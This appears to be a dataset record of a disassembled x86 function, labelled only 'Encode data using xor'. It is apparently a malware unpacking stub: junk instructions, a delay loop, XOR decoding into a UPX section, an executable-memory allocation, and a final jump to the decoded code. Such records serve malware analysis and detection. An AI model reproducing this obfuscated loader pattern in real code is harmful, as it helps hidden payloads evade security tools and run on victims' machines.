Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x6f83d5c7
or edi, edi
not esi
popal
mov edi, 0x9b67be33
sub edi, 1
mov edx, 0
mov eax, ebx
add esi, edi
add esi, 0xef92f584
mov ecx, eax
sub esi, 0x6f91bf06
dec esi
mov ebx, ecx
not edi
or esi, edi
sub edi, esi
inc edx
dec edi
mov esi, 0x419cc9fd
sub edi, 0x4fd6d363
cmp edx, 0x1002fe1
jne 0xa789c7
add esi, 0x7201d9b4
inc edi
sub edi, esi
or edi, edi
mov ecx, 0xa78796
sub eax, 0xfbb3e973
add edi, eax
and eax, esi
mov edx, 0xa7898a
add edi, 0xbdcef7a6
not esi
not eax
mov ebx, dword [ecx]
not edi
add edi, 0x882eae6b
mov eax, 0x7e32b6ef
and ebx, 0xff
sub edi, 0x4f236044
and esi, edi
not esi
xor dword [edx], ebx
and eax, esi
or edi, edi
add edi, 0x7f0e39d3
add edx, 1
and edi, esi
not edi
inc ecx
sub eax, esi
add esi, esi
cmp edx, entry0
jl 0xa78a24
add esi, esi
sub esi, eax
add eax, eax
and edi, edi
not esi
not edi
add edi, edx
mov ecx, 0xa7898e
dec edx
sub edx, 0x393a90f3
mov ecx, dword [ecx]
and ebx, ebx
inc edi
mov ecx, dword [ecx]
not edi
and ebx, edi
push ecx
dec esi
not edx
mov ecx, 0xa7898a
sub ebx, edi
mov ebx, 0xc89279c
mov ecx, dword [ecx]
and ebx, edx
sub edx, 0xd2c62826
mov ecx, dword [ecx]
sub edi, edx
sub edx, 0xa789ba3c
mov edi, 0xde01b61b
sub esp, 4
mov dword [esp], 0xa78992
mov edx, 0x497f5a73
sub ebx, 0x9d160cb3
call ecx
dec ebx
add edi, edx
pop ecx
add edi, 0x936236be
or ebx, esi
dec ebx
push 0xa7899f
sub ebx, 0x131ce31
mov edx, 0x2e18c7b5
push eax
and edx, edi
or edi, edi
sub esi, edi
call ecx
mov ebx, esi
and ebx, esi
add edx, ebx
sub esp, 4
mov dword [esp], 0x40
add esi, edx
add edx, 0x25528ee
sub esp, 4
mov dword [esp], 0x3000
and esi, edx
mov ebx, edx
mov edi, esi
sub esp, 4
mov dword [esp], 0x200004c0
and edi, ebx
and esi, ebx
push 0
add edi, esi
and edi, esi
call eax
not edx
add esi, 0x9e8f736e
sub edi, ebx
add eax, 0x20000450
mov edi, 0x7dd79845
add edx, 0x312893a8
sub esi, 0x16b45eae
mov ecx, 0x36b1e0a9
add ebx, 0xeb61001f
mov esi, ebx
mov dword [eax], ecx
add ebx, ebx
sub esi, edx
mov edi, edx
mov ecx, dword [eax]
and ebx, edi
inc ebx
sub edx, esi
cmp ecx, 0x36b1e0a9
je 0xa78b82
mov ecx, 0
mov bl, byte [ecx]
not esi
sub edi, 0x12ec40c3
inc edx
not edx
mov ebx, 0x9680f732
and edi, esi
mov edi, esi
mov eax, section.UPX1
sub edi, 0xfbd6b21d
mov edi, 0xb89f5b9e
mov edi, esi
mov ebx, 0xa78795
add esi, 0x3ef7755b
not edi
sub esi, 0x299d68da
mov edx, 0
mov esi, edi
not edi
inc edi
mov ecx, 0xa78796
mov edi, esi
and esi, esi
lea ecx, [edx + ecx]
and edi, esi
and esi, edi
sub edi, esi
mov ecx, dword [ecx]
and edi, edi
sub esi, edi
dec edi
and ecx, 0xff
or edi, edi
add esi, esi
inc edx
add edi, 0xd3bedf54
not esi
cmp edx, 0x1f4
jne 0xa78bfe
mov edx, 0
add esi, 0xc9c3732b
dec esi
not edi
sub esi, 0xc22517fa
xor dword [eax], ecx
mov edi, 0xb24857b3
mov edi, 0xfcc85982
add edi, edi
add eax, 2
sub edi, 1
and esi, esi
sub esi, edi
cmp eax, ebx
jl 0xa78bc5
mov edi, esi
sub edi, esi
add edi, 1
add edi, 1
add edi, edi
add esi, edi
mov eax, section.UPX1
dec ecx
add ecx, 0x7875bd36
mov edx, section.UPX1
add ecx, edi
mov ecx, edi
dec ecx
mov esi, 0xa78795
sub edi, 0xf33cb0ee
add edi, 0x92e139ae
or ecx, ecx
mov ebx, 0
inc edi
or ecx, ecx
or edi, edi
mov bl, byte [edx]
sub ecx, 0x649a6727
mov ecx, 0xa805ec4f
mov ecx, 0xad65e1cb
mov byte [eax], bl
add ecx, 0x8da00264
or ecx, ecx
dec edi
inc eax
mov edi, ecx
dec edi
add edx, 2
or ecx, edi
sub edi, ecx
inc ecx
cmp edx, esi
jle 0xa78c7a
sub ecx, 0x709dc1e0
and edi, edi
sub edi, 0xd305c153
add edi, esi
push 0x8dc6a0
mov edi, esi
sub edi, esi
ret